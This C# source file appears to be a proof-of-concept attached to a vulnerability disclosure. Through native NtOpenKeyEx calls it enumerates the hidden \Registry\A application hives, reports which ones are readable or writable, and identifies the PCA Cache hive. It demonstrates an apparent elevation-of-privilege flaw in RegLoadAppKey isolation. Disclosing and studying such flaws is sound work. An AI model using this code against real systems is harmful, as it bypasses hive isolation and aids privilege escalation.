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Issue 870 attachment: Program.cs (6.7 KB)

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using Microsoft.Win32;
using Microsoft.Win32.SafeHandles;
using System;
using System.Runtime.InteropServices;

namespace Poc_RegLoadAppKey_EoP
{
class Program
{
[Flags]
enum AttributeFlags : uint
{
None = 0,
Inherit = 0x00000002,
Permanent = 0x00000010,
Exclusive = 0x00000020,
CaseInsensitive = 0x00000040,
OpenIf = 0x00000080,
OpenLink = 0x00000100,
KernelHandle = 0x00000200,
ForceAccessCheck = 0x00000400,
IgnoreImpersonatedDevicemap = 0x00000800,
DontReparse = 0x00001000,
}

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
sealed class UnicodeString
{
ushort Length;
ushort MaximumLength;
[MarshalAs(UnmanagedType.LPWStr)]
string Buffer;

public UnicodeString(string str)
{
Length = (ushort)(str.Length * 2);
MaximumLength = (ushort)((str.Length * 2) + 1);
Buffer = str;
}
}

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
sealed class ObjectAttributes : IDisposable
{
int Length;
IntPtr RootDirectory;
IntPtr ObjectName;
AttributeFlags Attributes;
IntPtr SecurityDescriptor;
IntPtr SecurityQualityOfService;

private static IntPtr AllocStruct(object s)
{
int size = Marshal.SizeOf(s);
IntPtr ret = Marshal.AllocHGlobal(size);
Marshal.StructureToPtr(s, ret, false);
return ret;
}

private static void FreeStruct(ref IntPtr p, Type struct_type)
{
Marshal.DestroyStructure(p, struct_type);
Marshal.FreeHGlobal(p);
p = IntPtr.Zero;
}

public ObjectAttributes(string object_name, AttributeFlags flags, IntPtr root)
{
Length = Marshal.SizeOf(this);
if (object_name != null)
{
ObjectName = AllocStruct(new UnicodeString(object_name));
}
Attributes = flags;
RootDirectory = root;
}

public void Dispose()
{
if (ObjectName != IntPtr.Zero)
{
FreeStruct(ref ObjectName, typeof(UnicodeString));
}
GC.SuppressFinalize(this);
}

~ObjectAttributes()
{
Dispose();
}
}

[Flags]
enum GenericAccessRights : uint
{
None = 0,
GenericRead = 0x80000000,
GenericWrite = 0x40000000,
GenericExecute = 0x20000000,
GenericAll = 0x10000000,
Delete = 0x00010000,
ReadControl = 0x00020000,
WriteDac = 0x00040000,
WriteOwner = 0x00080000,
Synchronize = 0x00100000,
MaximumAllowed = 0x02000000,
}

class NtException : ExternalException
{
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string modulename);

[Flags]
enum FormatFlags
{
AllocateBuffer = 0x00000100,
FromHModule = 0x00000800,
FromSystem = 0x00001000,
IgnoreInserts = 0x00000200
}

[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern int FormatMessage(
FormatFlags dwFlags,
IntPtr lpSource,
int dwMessageId,
int dwLanguageId,
out IntPtr lpBuffer,
int nSize,
IntPtr Arguments
);

[DllImport("kernel32.dll")]
private static extern IntPtr LocalFree(IntPtr p);

private static string StatusToString(int status)
{
IntPtr buffer = IntPtr.Zero;
try
{
if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts,
GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0)
{
return Marshal.PtrToStringUni(buffer);
}
}
finally
{
if (buffer != IntPtr.Zero)
{
LocalFree(buffer);
}
}
return String.Format("Unknown Error: 0x{0:X08}", status);
}

public NtException(int status) : base(StatusToString(status))
{
}
}

static void StatusToNtException(int status)
{
if (status < 0)
{
throw new NtException(status);
}
}

[DllImport("ntdll.dll")]
static extern int NtOpenKeyEx(
out SafeRegistryHandle KeyHandle,
GenericAccessRights DesiredAccess,
[In] ObjectAttributes ObjectAttributes,
int OpenOptions
);

[DllImport("ntdll.dll")]
static extern int NtClose(IntPtr handle);

static RegistryKey OpenKey(RegistryKey base_key, string path, bool writable = false, bool throw_on_error = true)
{
IntPtr root_key = base_key != null ? base_key.Handle.DangerousGetHandle() : IntPtr.Zero;
using (ObjectAttributes KeyName = new ObjectAttributes(path, AttributeFlags.CaseInsensitive | AttributeFlags.OpenLink, root_key))
{
SafeRegistryHandle keyHandle;
GenericAccessRights desired_access = GenericAccessRights.GenericRead;
if (writable)
{
desired_access |= GenericAccessRights.GenericWrite;
}

int status = NtOpenKeyEx(out keyHandle, desired_access, KeyName, 0);
if (throw_on_error)
{
StatusToNtException(status);
}

if (status == 0)
return RegistryKey.FromHandle(keyHandle);

return null;
}
}

static void DoExploit()
{
RegistryKey root_key = OpenKey(null, @"\Registry");
RegistryKey attach_key = root_key.OpenSubKey("A");

foreach (string key_name in attach_key.GetSubKeyNames())
{
bool writable = true;
RegistryKey app_key = OpenKey(attach_key, key_name, true, false);
if (app_key == null)
{
writable = false;
app_key = OpenKey(attach_key, key_name, false, false);
}

if (app_key != null)
{
Console.WriteLine(@"Found {0} Key \Registry\A\{1}", writable ? "Writable" : "Readable", key_name);
RegistryKey sub_key = app_key.OpenSubKey(@"Root\Programs");
if (sub_key != null)
{
Console.WriteLine("{0} is the PCA Cache Hive", key_name);
sub_key.Close();
}
app_key.Close();
}
}
}

static void Main(string[] args)
{
try
{
DoExploit();
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}
}
}